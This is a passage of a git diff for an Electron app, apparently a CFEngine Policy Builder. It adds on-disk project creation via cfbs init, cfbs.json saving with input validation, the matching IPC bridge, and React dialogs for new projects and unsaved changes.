2)); +} + +async function writeFileAtomic(path: string, content: string): Promise { + const temp = join(dirname(path), `.${Date.now()}-${process.pid}.tmp`); + await fs.writeFile(temp, content); + try { + await fs.rename(temp, path); + } catch (error) { + await fs.rm(temp, { force: true }); + throw error; + } +} + +async function isDirectory(path: string): Promise { + try { + return (await fs.stat(path)).isDirectory(); + } catch { + return false; + } +} + +function checkedString(value: unknown, what: string, maxLength: number): string { + if (typeof value !== 'string' || !value.trim() || value.length > maxLength) throw new InvalidRequest(`Invalid ${what}`); + return value.trim(); +} + +function checkedAbsolutePath(value: unknown, what: string): string { + if (typeof value !== 'string' || value.length > MAX_PATH_LENGTH || !isAbsolute(value) || value.includes('\0')) throw new InvalidRequest(`Invalid ${what}`); + return normalize(value); +} + +function checkedFolderName(value: unknown): string { + if (typeof value !== 'string' || !FOLDER_NAME.test(value)) throw new InvalidRequest('Invalid project folder name'); + return value; +} + +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); + +// The module paths the builder's meta says are its own. +function builderPaths(meta: unknown): string[] { + const files = isRecord(meta) && isRecord(meta[META_KEY]) ? meta[META_KEY].files : undefined; + return Array.isArray(files) ? files.flatMap(file => (isRecord(file) && typeof file.path === 'string' ? [file.path] : [])) : []; +} + +function checkedContent(value: unknown): ProjectContent { + const content = value as Partial | null; + if (!isRecord(content) || !isRecord(content.meta) || !isRecord(content.meta[META_KEY]) || !Array.isArray(content.modules)) { + throw new InvalidRequest('Invalid project content'); + } + const paths = builderPaths(content.meta); + if (paths.length !== content.modules.length) throw new InvalidRequest('Invalid project content'); + for (const [index, module] of content.modules.entries()) { + const name = isRecord(module) ? module.name : undefined; + const ok = + name === paths[index] && + typeof name === 'string' && + name.startsWith('./policy/') && + name.endsWith('.cf') && + !name.split('/').includes('..') && + Array.isArray((module as Record).steps); + if (!ok) throw new InvalidRequest('Invalid policy module'); + } + if (JSON.stringify(content).length > MAX_CONTENT_BYTES) throw new InvalidRequest('Project is too large'); + return content as ProjectContent; +} + +// The app's version, into the builder's project meta. +const stamped = (content: ProjectContent): ProjectContent => ({ + ...content, + meta: { ...content.meta, [META_KEY]: { ...content.meta[META_KEY], tool_version: app.getVersion() } } +}); + +async function checkTarget(parent: string, folderName: string): Promise { + let parentWritable = await isDirectory(parent); + if (parentWritable) + parentWritable = await fs.access(parent, constants.W_OK).then( + () => true, + () => false + ); + const target = join(parent, folderName); + let targetState: TargetCheck['targetState'] = 'new'; + try { + const stats = await fs.stat(target); + targetState = stats.isDirectory() && (await fs.readdir(target)).length === 0 ? 'empty' : 'nonEmpty'; + } catch { + targetState = 'new'; + } + return { parentWritable, targetState }; +} + +// Highest `major.minor.*` masterfiles release in the build index, e.g. "3.27" → "3.27.1". +function highestRelease(versions: string[], minor: string): string | undefined { + const parts = (version: string) => version.split(/[.-]/).map(Number); + return versions + .filter(version => version.startsWith(`${minor}.`) && /^\d+\.\d+\.\d+(-\d+)?$/.test(version)) + .sort((a, b) => { + const [pa, pb] = [parts(a), parts(b)]; + for (let index = 0; index < Math.max(pa.length, pb.length); index += 1) { + if ((pa[index] ?? 0) !== (pb[index] ?? 0)) return (pa[index] ?? 0) - (pb[index] ?? 0); + } + return 0; + }) + .at(-1); +} + +async function fetchMasterfilesVersions(): Promise { + try { + const response = await fetch(VERSIONS_URL, { signal: AbortSignal.timeout(VERSIONS_TIMEOUT_MS) }); + if (!response.ok) throw new Error(`HTTP ${response.status}`); + const index = (await response.json()) as { masterfiles?: Record }; + const versions = Object.keys(index.masterfiles ?? {}); + return { latest: highestRelease(versions, '3.27') ?? FALLBACK_VERSIONS.latest, lts: highestRelease(versions, '3.24') ?? FALLBACK_VERSIONS.lts }; + } catch (error) { + console.error(`[project] masterfiles versions unavailable, using built-in ones: ${error}`); + versionsRequest = null; // retry next time + return FALLBACK_VERSIONS; + } +} + +/** + * Merges builder state into an existing cfbs.json: our `meta` entry replaced, + * our modules (the paths it lists, before and after) replaced after everything + * else, other tools' meta and all other keys and entries kept. .cf files + * aren't written yet — no compiler. + */ +export function mergeCfbsJson(existing: Record, content: ProjectContent): Record { + const build = Array.isArray(existing.build) ? existing.build : []; + const ours = new Set([...builderPaths(existing.meta), ...builderPaths(content.meta)]); + const meta = { ...(isRecord(existing.meta) ? existing.meta : {}), ...content.meta }; + return { ...existing, meta, build: [...build.filter(entry => !(isRecord(entry) && ours.has(entry.name as string))), ...content.modules] }; +} + +async function writeProjectContent(projectPath: string, content: ProjectContent): Promise { + const cfbsPath = join(projectPath, 'cfbs.json'); + const existing = JSON.parse(await fs.readFile(cfbsPath, 'utf-8')); + if (typeof existing !== 'object' || existing === null || Array.isArray(existing)) throw new Error('cfbs.json is not a JSON object'); + await writeFileAtomic(cfbsPath, `${JSON.stringify(mergeCfbsJson(existing, stamped(content)), null, 2)}\n`); +} + +const failure = (error: unknown): OperationResult => ({ + ok: false, + message: error instanceof Error ? error.message : String(error), + details: typeof (error as { details?: unknown })?.details === 'string' ? (error as { details: string }).details : '' +}); + +async function createProject(request: CreateProjectRequest) { + const parent = checkedAbsolutePath(request?.parent, 'location'); + const folderName = checkedFolderName(request.folderName); + const name = checkedString(request.name, 'project name', 100); + const description = checkedString(request.description, 'description', 500); + if (typeof request.git !== 'boolean') throw new InvalidRequest('Invalid git option'); + if (typeof request.masterfiles !== 'string' || !MASTERFILES.test(request.masterfiles)) throw new InvalidRequest('Invalid masterfiles version'); + const content = stamped(checkedContent({ meta: request.meta, modules: request.modules })); + const check = await checkTarget(parent, folderName); + if (!check.parentWritable) throw new InvalidRequest(`Can't write to ${parent}`); + if (check.targetState === 'nonEmpty') throw new InvalidRequest(`A folder named '${folderName}' already exists and isn't empty.`); + + // The content goes in before the initial commit, so a git project starts clean. + const result = await initCfbsProject({ content, description, directory: join(parent, folderName), git: request.git, masterfiles: request.masterfiles, name }); + knownProjects.add(result.path); + await writeSettings({ lastProjectParent: parent }).catch(error => console.error(`[project] settings not saved: ${error}`)); + const version = result.masterfiles?.version; + const masterfiles = request.masterfiles === 'no' ? null : typeof version === 'string' ? version : request.masterfiles; + return { ok: true as const, masterfiles, path: result.path }; +} + +export function registerProjectHandlers(isTrustedFrame: (frame: WebFrameMain | null) => boolean): void { + const trusted = + (handler: (event: IpcMainInvokeEvent, ...args: A) => R) => + (event: IpcMainInvokeEvent, ...args: A) => { + if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); + return handler(event, ...args); + }; + + ipcMain.handle( + 'project:default-parent', + trusted(async () => { + const { lastProjectParent } = await readSettings(); + if (typeof lastProjectParent === 'string' && isAbsolute(lastProjectParent) && (await isDirectory(lastProjectParent))) return lastProjectParent; + return app.getPath('documents'); + }) + ); + + ipcMain.handle( + 'project:pick-directory', + trusted(async (event, defaultPath: unknown) => { + const window = BrowserWindow.fromWebContents(event.sender); + const options: OpenDialogOptions = { + properties: ['openDirectory', 'createDirectory'], + defaultPath: typeof defaultPath === 'string' && isAbsolute(defaultPath) ? defaultPath : undefined + }; + const result = await (window ? dialog.showOpenDialog(window, options) : dialog.showOpenDialog(options)); + return result.canceled ? null : (result.filePaths[0] ?? null); + }) + ); + + ipcMain.handle( + 'project:masterfiles-versions', + trusted(() => (versionsRequest ??= fetchMasterfilesVersions())) + ); + + ipcMain.handle( + 'project:check-target', + trusted((_event, request: { folderName?: unknown; parent?: unknown }) => + checkTarget(checkedAbsolutePath(request?.parent, 'location'), checkedFolderName(request.folderName)) + ) + ); + + ipcMain.handle( + 'project:create', + trusted((_event, request: CreateProjectRequest) => createProject(request).catch(failure)) + ); + + ipcMain.handle( + 'project:save', + trusted(async (_event, request: { meta?: unknown; modules?: unknown; path?: unknown }) => { + try { + const path = checkedAbsolutePath(request?.path, 'project path'); + if (!knownProjects.has(path)) throw new InvalidRequest('Not a project opened in this session'); + await writeProjectContent(path, checkedContent({ meta: request.meta, modules: request.modules })); + return { ok: true as const }; + } catch (error) { + return failure(error); + } + }) + ); + + ipcMain.handle( + 'project:reveal', + trusted((_event, path: unknown) => { + const checked = checkedAbsolutePath(path, 'project path'); + if (knownProjects.has(checked)) shell.showItemInFolder(join(checked, 'cfbs.json')); + }) + ); +} diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 0ea4628..0912e22 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -7,21 +7,68 @@ interface LayoutSettings { rightSidebarFraction: number; } -type MenuAction = 'new-project' | 'open-project' | 'try-demo'; +type MenuAction = 'close-requested' | 'new-project' | 'open-project' | 'save' | 'try-demo'; + +// What the builder writes into cfbs.json: its entry in the top-level `meta`, and one module per policy file. +export interface ProjectContent { + meta: Record; + modules: object[]; +} + +export interface CreateProjectRequest extends ProjectContent { + description: string; + folderName: string; + git: boolean; + // An exact version ("3.27.1"), "master", or "no". + masterfiles: string; + name: string; + parent: string; +} + +// Errors come back as data: Electron drops custom Error properties like `details`. +export type OperationResult = ({ ok: true } & T) | { details: string; message: string; ok: false }; + +export interface MasterfilesVersions { + latest: string; + lts: string; +} + +export interface TargetCheck { + parentWritable: boolean; + targetState: 'empty' | 'new' | 'nonEmpty'; +} declare global { interface Window { // Optional on purpose: the bridge only exists inside Electron. Renderer // code runs without it under vitest/jsdom (and any future browser mode), api?: { + /** Checks whether a project folder can be created at parent/folderName. */ + checkProjectTarget: (parent: string, folderName: string) => Promise; + /** Tells main the user agreed to close the window despite unsaved changes. */ + confirmWindowClose: () => Promise; + /** Runs `cfbs init` into parent/folderName, then writes the builder's content into its cfbs.json. */ + createProject: (request: CreateProjectRequest) => Promise>; /** Formats CFEngine policy, rejecting with a message if it cannot. */ formatPolicy: (source: string) => Promise; + /** The folder new projects go in by default: the last one used, else ~/Documents. */ + getDefaultProjectParent: () => Promise; /** Returns the last-saved sidebar/palette sizes, or null if none were saved yet. */ getLayoutSettings: () => Promise; + /** Newest 3.27.x and 3.24.x masterfiles releases (built-in fallback when offline). */ + getMasterfilesVersions: () => Promise; /** Opens a native file picker and reads the chosen file as text, or null if cancelled. */ importTextFile: () => Promise<{ content: string; fileName: string } | null>; - /** Subscribes to native File-menu clicks (New/Open/Try Demo); call the returned function to unsubscribe. */ + /** Subscribes to native menu clicks and window-close requests; call the returned function to unsubscribe. */ onMenuAction: (callback: (action: MenuAction) => void) => () => void; + /** Opens a native folder picker, or null if cancelled. */ + pickDirectory: (defaultPath?: string) => Promise; + /** Shows the project's cfbs.json in the OS file manager. */ + revealProject: (path: string) => Promise; + /** Merges the builder's content into the project's cfbs.json. */ + saveProject: (path: string, content: ProjectContent) => Promise>; + /** Sets the window title (null: no project) and the unsaved-changes state. */ + setDocument: (document: { edited: boolean; title: string | null }) => Promise; /** Persists sidebar/palette sizes so they survive an app restart. */ setLayoutSettings: (settings: LayoutSettings) => Promise; shouldUseDarkColors: () => Promise; diff --git a/src/preload/index.ts b/src/preload/index.ts index d5c5389..607b2d7 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -1,5 +1,7 @@ import { contextBridge, ipcRenderer } from 'electron'; +import type { CreateProjectRequest, MasterfilesVersions, OperationResult, ProjectContent, TargetCheck } from './api'; + // Everything the renderer can ask the main process to do goes through this // typed bridge (see api.d.ts — the filename is load-bearing, see the note // there). Keep it minimal and explicit. @@ -20,12 +22,15 @@ interface LayoutSettings { rightSidebarFraction: number; } -export type MenuAction = 'new-project' | 'open-project' | 'try-demo'; +export type MenuAction = 'close-requested' | 'new-project' | 'open-project' | 'save' | 'try-demo'; const MENU_CHANNELS: Record = { 'menu:new-project': 'new-project', 'menu:open-project': 'open-project', - 'menu:try-demo': 'try-demo' + 'menu:save': 'save', + 'menu:try-demo': 'try-demo', + // Not a menu item: main asking whether a window with unsaved changes may close. + 'window:close-requested': 'close-requested' }; // Menu clicks fire in the main process (see main/index.ts's @@ -47,9 +52,36 @@ const api = { /** Returns whether the OS currently prefers a dark color scheme. */ shouldUseDarkColors: (): Promise => invoke('theme:should-use-dark'), - /** Subscribes to native File-menu clicks (New/Open/Try Demo); call the returned function to unsubscribe. */ + /** Subscribes to native menu clicks and window-close requests; call the returned function to unsubscribe. */ onMenuAction, + /** Sets the window title (null: no project) and the unsaved-changes state. */ + setDocument: (document: { edited: boolean; title: string | null }): Promise => invoke('window:set-document', document), + + /** Tells main the user agreed to close the window despite unsaved changes. */ + confirmWindowClose: (): Promise => invoke('window:close-confirmed'), + + /** The folder new projects go in by default: the last one used, else ~/Documents. */ + getDefaultProjectParent: (): Promise => invoke('project:default-parent'), + + /** Opens a native folder picker, or null if cancelled. */ + pickDirectory: (defaultPath?: string): Promise => invoke('project:pick-directory', defaultPath), + + /** Newest 3.27.x and 3.24.x masterfiles releases (built-in fallback when offline). */ + getMasterfilesVersions: (): Promise => invoke('project:masterfiles-versions'), + + /** Checks whether a project folder can be created at parent/folderName. */ + checkProjectTarget: (parent: string, folderName: string): Promise => invoke('project:check-target', { parent, folderName }), + + /** Runs `cfbs init` into parent/folderName, then writes the builder's content into its cfbs.json. */ + createProject: (request: CreateProjectRequest): Promise> => invoke('project:create', request), + + /** Merges the builder's content into the project's cfbs.json. */ + saveProject: (path: string, content: ProjectContent): Promise> => invoke('project:save', { path, ...content }), + + /** Shows the project's cfbs.json in the OS file manager. */ + revealProject: (path: string): Promise => invoke('project:reveal', path), + /** Formats CFEngine policy text with the bundled `cfengine format` engine. */ formatPolicy: (source: string): Promise => invoke('policy:format', source), diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx index 37a30b3..a503122 100644 --- a/src/renderer/src/App.tsx +++ b/src/renderer/src/App.tsx @@ -1,35 +1,67 @@ -import { useEffect, useState } from 'react'; +import { useEffect, useRef } from 'react'; + +import { Alert, Snackbar } from '@mui/material'; import { NewProjectDialog } from './components/dialogs/NewProjectDialog'; -import { createNginxDemoProject } from './demo/nginxDemoProject'; +import { UnsavedChangesDialog } from './components/dialogs/UnsavedChangesDialog'; import NoProjectScreen from './pages/NoProjectScreen'; import ProjectView from './pages/ProjectView'; -import { useAppDispatch, useAppSelector } from './store'; -import { selectCurrentProject } from './store/projectSlice/selectors'; +import { useProjectSession } from './project/useProjectSession'; + +type Session = ReturnType; + +// A menu's Save while a dialog is up would act behind it. +const modalOpen = () => Boolean(document.querySelector('[role="dialog"]')); export default function App() { - const dispatch = useAppDispatch(); - const project = useAppSelector(selectCurrentProject); - // Owned here, not by NoProjectScreen, so the native File menu's "New - // Project…" (main/index.ts's buildApplicationMenu) can open it regardless - // of which screen is currently showing. - const [newProjectOpen, setNewProjectOpen] = useState(false); + const session = useProjectSession(); + const { project, dirty, projectDialog, unsavedPrompt } = session; + // The native menu (main/index.ts's buildApplicationMenu) outlives renders: it always reaches the latest session. + const sessionRef = useRef(session); + useEffect(() => { + sessionRef.current = session; + }); useEffect( () => window.api?.onMenuAction(action => { - if (action === 'new-project') setNewProjectOpen(true); - else if (action === 'try-demo') createNginxDemoProject(dispatch); + const current = sessionRef.current; + if (action === 'new-project') current.newProject(); + else if (action === 'try-demo') current.startDemo(); + else if (action === 'save' && !modalOpen()) current.save(); + else if (action === 'close-requested') current.requestClose(); // 'open-project' has no renderer behavior yet — mirrors the // still-inert "Open Project…" button on NoProjectScreen. }), - [dispatch] + [] ); + useEffect(() => { + window.api?.setDocument({ edited: dirty, title: project?.name ?? null }).catch(() => {}); + }, [dirty, project?.name]); + return ( <> - {project ? : setNewProjectOpen(true)} />} - setNewProjectOpen(false)} /> + {project ? ( + + ) : ( + + )} + {projectDialog && ( + + )} + {unsavedPrompt && project && } + + + {session.saveError} + + ); } diff --git a/src/renderer/src/components/ProjectStatusLabel.tsx b/src/renderer/src/components/ProjectStatusLabel.tsx new file mode 100644 index 0000000..7aa443f --- /dev/null +++ b/src/renderer/src/components/ProjectStatusLabel.tsx @@ -0,0 +1,33 @@ +import { ButtonBase, Typography } from '@mui/material'; + +import type { Project } from '../store/projectSlice/types'; + +const MAX_PATH_CHARS = 48; + +// Keeps both ends of a long path: "/Users/me/…/policies/web". +function middleTruncate(text: string, max = MAX_PATH_CHARS): string { + if (text.length <= max) return text; + const head = Math.ceil((max - 1) / 2); + return `${text.slice(0, head)}…${text.slice(text.length - (max - 1 - head))}`; +} + +/** "Project: name — /path/to/project" in the status bar; the path reveals the folder. */ +export function ProjectStatusLabel({ project }: { project: Project }) { + const { name, path } = project; + return ( + + Project: {name} —{' '} + {path ? ( + window.api?.revealProject(path).catch(() => {})} + sx={{ fontSize: 11, fontFamily: 'inherit', color: 'inherit', verticalAlign: 'baseline', '&:hover': { textDecoration: 'underline' } }} + > + {middleTruncate(path)} + + ) : ( + 'not saved' + )} + + ); +} diff --git a/src/renderer/src/components/TopBar.tsx b/src/renderer/src/components/TopBar.tsx index 41d9d2f..045bd31 100644 --- a/src/renderer/src/components/TopBar.tsx +++ b/src/renderer/src/components/TopBar.tsx @@ -7,8 +7,11 @@ export const PROJECT_TABS = ['Canvas', 'Generated Policy (.cf)', 'Test Results & interface TopBarProps { activeTab: number; blockCount: number; + // Unsaved changes since the last save. + dirty: boolean; // "runs only if linux", when the open file is gated. fileGate?: string; + masterfiles: string | null; namespace: string; onTabChange: (index: number) => void; projectName: string; @@ -30,7 +33,7 @@ const chipSx = { maxWidth: 200 } as const; -export function TopBar({ projectName, namespace, fileGate, blockCount, activeTab, onTabChange }: TopBarProps) { +export function TopBar({ projectName, dirty, masterfiles, namespace, fileGate, blockCount, activeTab, onTabChange }: TopBarProps) { return ( - {projectName} + + {projectName} + {dirty && ( + + • + + )} + + {masterfiles && masterfiles {masterfiles}} namespace: {namespace} {fileGate && ( diff --git a/src/renderer/src/components/dialogs/NewProjectDialog.tsx b/src/renderer/src/components/dialogs/NewProjectDialog.tsx index 958ea29..29ad206 100644 --- a/src/renderer/src/components/dialogs/NewProjectDialog.tsx +++ b/src/renderer/src/components/dialogs/NewProjectDialog.tsx @@ -1,65 +1,287 @@ -import { useState } from 'react'; +import { useEffect, useState } from 'react'; -import { Button, Dialog, DialogActions, DialogContent, DialogTitle, Stack, TextField, Typography } from '@mui/material'; +import { + Alert, + Box, + Button, + Checkbox, + Collapse, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + FormControl, + FormControlLabel, + FormLabel, + LinearProgress, + Link, + Radio, + RadioGroup, + Stack, + TextField, + Typography +} from '@mui/material'; -import { useAppDispatch } from '../../store'; -import { projectFilesInitialized } from '../../store/filesSlice'; -import { historyCleared } from '../../store/history'; -import { projectCreated } from '../../store/projectSlice'; +import { projectFolderName } from '../../project/cfbsProject'; + +export const DEFAULT_DESCRIPTION = 'Policy built with CFEngine Policy Builder'; +const FALLBACK_VERSIONS = { latest: '3.27.1', lts: '3.24.4' }; + +type MasterfilesChoice = 'latest' | 'lts' | 'master'; +type TargetCheck = Awaited['checkProjectTarget']>>; + +export interface ProjectFormValues { + description: string; + folderName: string; + git: boolean; + // An exact version ("3.27.1") or "master". + masterfiles: string; + name: string; + // null without the Electron bridge (tests): the project stays in memory. + parent: string | null; +} + +export type SubmitResult = { ok: true } | { details: string; message: string; ok: false }; interface NewProjectDialogProps { + initialDescription?: string; + initialName?: string; + // 'saveAs': gives an in-memory project (the demo) its folder on disk. + mode: 'new' | 'saveAs'; onClose: () => void; - open: boolean; + onSubmit: (values: ProjectFormValues) => Promise; +} + +const joinPath = (parent: string, name: string) => { + const separator = parent.includes('\\') && !parent.includes('/') ? '\\' : '/'; + return `${parent.replace(/[/\\]+$/, '')}${separator}${name}`; +}; + +function useDefaultParent() { + const [parent, setParent] = useState(null); + useEffect(() => { + window.api + ?.getDefaultProjectParent() + .then(path => setParent(current => current ?? path)) + .catch(() => {}); + }, []); + return [parent, setParent] as const; +} + +function useMasterfilesVersions() { + const [versions, setVersions] = useState(FALLBACK_VERSIONS); + useEffect(() => { + window.api + ?.getMasterfilesVersions() + .then(setVersions) + .catch(() => {}); + }, []); + return versions; +} + +// Debounced; null while the check for the current parent/folder is pending. +function useTargetCheck(parent: string | null, folderName: string): TargetCheck | null { + const key = `${parent}\0${folderName}`; + const [check, setCheck] = useState<{ key: string; result: TargetCheck } | null>(null); + useEffect(() => { + if (!parent || !folderName) return; + let cancelled = false; + const timer = setTimeout(() => { + window.api + ?.checkProjectTarget(parent, folderName) + .catch((): TargetCheck => ({ parentWritable: false, targetState: 'new' })) + .then(result => !cancelled && setCheck({ key: `${parent}\0${folderName}`, result })); + }, 250); + return () => { + cancelled = true; + clearTimeout(timer); + }; + }, [parent, folderName]); + return check?.key === key ? check.result : null; +} + +interface LocationFieldProps { + check: TargetCheck | null; + disabled: boolean; + folderName: string; + onChange: (parent: string) => void; + parent: string | null; +} + +function LocationField({ parent, folderName, check, disabled, onChange }: LocationFieldProps) { + const choose = () => + window.api + ?.pickDirectory(parent ?? undefined) + .then(path => path && onChange(path)) + .catch(() => {}); + const nonEmpty = check?.targetState === 'nonEmpty'; + return ( + + + + + + {parent && folderName && ( + + {nonEmpty ? `A folder named '${folderName}' already exists and isn’t empty.` : `Will be created at: ${joinPath(parent, folderName)}`} + + )} + + ); +} + +function ErrorAlert({ error }: { error: { details: string; message: string } }) { + const [showDetails, setShowDetails] = useState(false); + return ( + + {error.message} + {error.details && ( + <> + setShowDetails(shown => !shown)} sx={{ fontSize: 12 }}> + {showDetails ? 'Hide details' : 'Details'} + + + + {error.details} + + + + )} + + ); } /** - * Collects a project name and creates the project in memory. Nothing is - * written to disk here — that happens later, when the project is saved. + * Creates a cfbs project folder on disk (`cfbs init` via main) and opens it. + * Without the Electron bridge (tests) the project is created in memory only. */ -export function NewProjectDialog({ open, onClose }: NewProjectDialogProps) { - const dispatch = useAppDispatch(); - const [name, setName] = useState(''); +export function NewProjectDialog({ mode, initialName = '', initialDescription = DEFAULT_DESCRIPTION, onClose, onSubmit }: NewProjectDialogProps) { + const persistent = Boolean(window.api); + const [name, setName] = useState(initialName); + const [description, setDescription] = useState(initialDescription); + const [parent, setParent] = useDefaultParent(); + const versions = useMasterfilesVersions(); + const [masterfiles, setMasterfiles] = useState('latest'); + const [git, setGit] = useState(true); + const [submitting, setSubmitting] = useState(false); + const [error, setError] = useState<{ details: string; message: string } | null>(null); - const handleClose = () => { - onClose(); - setName(''); - }; + const folderName = projectFolderName(name); + const check = useTargetCheck(parent, folderName); + const nameInvalid = Boolean(name.trim()) && !folderName; + const locationValid = !persistent || (check !== null && check.parentWritable && check.targetState !== 'nonEmpty'); + const canSubmit = Boolean(folderName && description.trim()) && locationValid && !submitting; + const version = { latest: versions.latest, lts: versions.lts, master: 'master' }[masterfiles]; + const saveAs = mode === 'saveAs'; - const handleCreate = () => { - const trimmedName = name.trim(); - if (!trimmedName) return; - dispatch(projectCreated({ name: trimmedName })); - // Every project starts with one policy file, named after the project — - // each file has its own namespace (see architecture-plan.md), derived - // from its own name. - dispatch(projectFilesInitialized(trimmedName)); - dispatch(historyCleared()); - handleClose(); + const handleSubmit = async () => { + if (!canSubmit) return; + setSubmitting(true); + setError(null); + const values = { name: name.trim(), description: description.trim(), parent: persistent ? parent : null, folderName, masterfiles: version, git }; + const result = await onSubmit(values).catch((cause: unknown): SubmitResult => ({ + ok: false, + message: String((cause as Error)?.message ?? cause), + details: '' + })); + // On success the dialog is unmounted by its owner. + if (!result.ok) { + setError(result); + setSubmitting(false); + } }; + const progress = masterfiles === 'master' ? 'Downloading masterfiles from the master branch…' : `Downloading masterfiles ${version}…`; + return ( - - New Project + + {saveAs ? 'Save Project As' : 'New Project'} + {submitting && }
{ event.preventDefault(); - handleCreate(); + handleSubmit(); }} > - - - setName(event.target.value)} autoFocus fullWidth size="small" /> - - This can’t be changed later — it also becomes the first policy file’s namespace. - + + + + setName(event.target.value)} + autoFocus + required + fullWidth + size="small" + disabled={submitting} + error={nameInvalid} + helperText={nameInvalid ? 'Use at least one letter or digit.' : undefined} + slotProps={{ htmlInput: { maxLength: 100 } }} + /> + {!saveAs && ( + + This can’t be changed later — it also becomes the first policy file’s namespace. + + )} + + setDescription(event.target.value)} + required + fullWidth + size="small" + disabled={submitting} + slotProps={{ htmlInput: { maxLength: 500 } }} + /> + {persistent && ( + <> + + + + Which version of masterfiles would you like to use? + + setMasterfiles(event.target.value as MasterfilesChoice)} + > + } label={`Latest (${versions.latest})`} /> + } label={`3.24 LTS (${versions.lts})`} /> + } label="Master branch" /> + + + + setGit(event.target.checked)} disabled={submitting} />} + label="Initialize a git repository" + /> + Makes one initial commit + + + )} + {submitting && persistent && {progress}} + {error && } - - diff --git a/src/renderer/src/components/dialogs/UnsavedChangesDialog.tsx b/src/renderer/src/components/dialogs/UnsavedChangesDialog.tsx new file mode 100644 index 0000000..f3a0842 --- /dev/null +++ b/src/renderer/src/components/dialogs/UnsavedChangesDialog.tsx @@ -0,0 +1,31 @@ +import { Button, Dialog, DialogActions, DialogContent, DialogContentText, DialogTitle } from '@mui/material'; + +interface UnsavedChangesDialogProps { + onCancel: () => void; + onDiscard: () => void; + onSave: () => void; + projectName: string; +} + +/** Save / Don't Save / Cancel, before something replaces or closes a project with unsaved changes. */ +export function UnsavedChangesDialog({ projectName, onSave, onDiscard, onCancel }: UnsavedChangesDialogProps) { + return ( + + Save changes to “{projectName}”? + + Your changes will be lost if you don’t save them. + + + + + + + + ); +} diff --git a/src/renderer/src/pages/NoProjectScreen.tsx b/src/renderer/src/pages/NoProjectScreen.tsx index e9c488c..8534283 100644 --- a/src/renderer/src/pages/NoProjectScreen.tsx +++ b/src/renderer/src/pages/NoProjectScreen.tsx @@ -4,11 +4,10 @@ import { Box, Button, ButtonBase, Divider, Stack, Typography } from '@mui/materi import { StatusBar } from '../components/StatusBar'; import { BlockNodesIcon } from '../components/icons/BlockNodesIcon'; -import { createNginxDemoProject } from '../demo/nginxDemoProject'; -import { useAppDispatch } from '../store'; interface NoProjectScreenProps { onNewProject: () => void; + onTryDemo: () => void; } /** @@ -17,9 +16,7 @@ interface NoProjectScreenProps { * File menu's "New Project…" needs to open it regardless of which screen * is currently showing, not just from this one's button. */ -export default function NoProjectScreen({ onNewProject }: NoProjectScreenProps) { - const dispatch = useAppDispatch(); - +export default function NoProjectScreen({ onNewProject, onTryDemo }: NoProjectScreenProps) { return ( @@ -43,7 +40,7 @@ export default function NoProjectScreen({ onNewProject }: NoProjectScreenProps) createNginxDemoProject(dispatch)} + onClick={onTryDemo} sx={{ width: '100%', mt: 3, diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index d706cf8..0e34b0f 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -21,6 +21,7 @@ import { BlockPalette } from '../components/BlockPalette'; import { CANVAS_DROPPABLE_ID, type CanvasEdge, type CanvasNode, FlowCanvas, type NodeSizes, type ZoomControls } from '../components/FlowCanvas'; import { GroupPanel } from '../components/GroupPanel'; import { PolicyFileExplorer } from '../components/PolicyFileExplorer'; +import { ProjectStatusLabel } from '../components/ProjectStatusLabel'; import { FileSettingsPanel, PropertiesPanel } from '../components/PropertiesPanel'; import type { NewClassDefinition } from '../components/PropertiesPanel'; import { ResizeHandle } from '../components/ResizeHandle'; @@ -198,12 +199,14 @@ function DragPreviewCard({ badge, label }: DragPreview) { ); } -/** - * The open project. `cfbs.json` persistence (schema_version, conditions, - * disk writes) isn't wired up — see architecture-plan.md open issues #3-#5 - * — so block instances only live in the in-memory canvas slice for now. - */ -export default function ProjectView() { +interface ProjectViewProps { + // Unsaved changes since the last save (see project/useProjectSession.ts). + dirty: boolean; + onSave: () => void; +} + +/** The open project; saving it into cfbs.json is owned by App (project/useProjectSession.ts). */ +export default function ProjectView({ dirty, onSave }: ProjectViewProps) { const dispatch = useAppDispatch(); const project = useAppSelector(selectCurrentProject); const files = useAppSelector(selectFiles); @@ -643,6 +646,7 @@ export default function ProjectView() { canvasActive: activeTab === 0, zoomControlsRef, onEscape: handleEscape, + onSave, onDelete: handleDeleteKey, onUndo: () => handleHistoryKey(false), onRedo: () => handleHistoryKey(true), @@ -813,6 +817,8 @@ export default function ProjectView() { {statusMessage ?? 'Ready'} | - Project: {project.name} + | File: {currentFile ? `${currentFile.name}.cf` : '—'} | diff --git a/src/renderer/src/pages/useKeyboardShortcuts.ts b/src/renderer/src/pages/useKeyboardShortcuts.ts index c6f5696..95bf699 100644 --- a/src/renderer/src/pages/useKeyboardShortcuts.ts +++ b/src/renderer/src/pages/useKeyboardShortcuts.ts @@ -14,6 +14,7 @@ export interface ShortcutHandlers { onGroup: () => void; onPaste: () => boolean; onRedo: () => void; + onSave: () => void; onUndo: () => void; onUngroup: () => void; zoomControlsRef: RefObject; @@ -35,7 +36,7 @@ function handleZoomKey(event: KeyboardEvent, zoom: ZoomControls | null) { zoomAction(); } -// ⌘/Ctrl shortcuts: undo/redo, group/ungroup, copy/cut/paste. +// ⌘/Ctrl shortcuts: undo/redo, group/ungroup, copy/cut/paste (⌘S is handled before the text-field check). function handleCommandKey(event: KeyboardEvent, handlers: ShortcutHandlers) { const key = event.key.toLowerCase(); const run = (action: () => unknown) => { @@ -64,6 +65,11 @@ export function useKeyboardShortcuts(handlers: ShortcutHandlers) { // A dialog, menu or popover (all MUI modals) takes priority, even with focus on its own buttons. if (document.querySelector('[role="dialog"], .MuiModal-root:not(.MuiModal-hidden)')) return; if (event.key === 'Escape') return current.onEscape(); + // ⌘S saves even while typing in a field. + if ((event.ctrlKey || event.metaKey) && !event.altKey && event.key.toLowerCase() === 's') { + event.preventDefault(); + return current.onSave(); + } // Never hijack typing, or native copy/paste of actual text (TextFields, CodeMirror…). if (isEditableTarget(document.activeElement)) return; if (event.ctrlKey || event.metaKey) return handleCommandKey(event, current); diff --git a/src/renderer/src/project/cfbsProject.test.ts 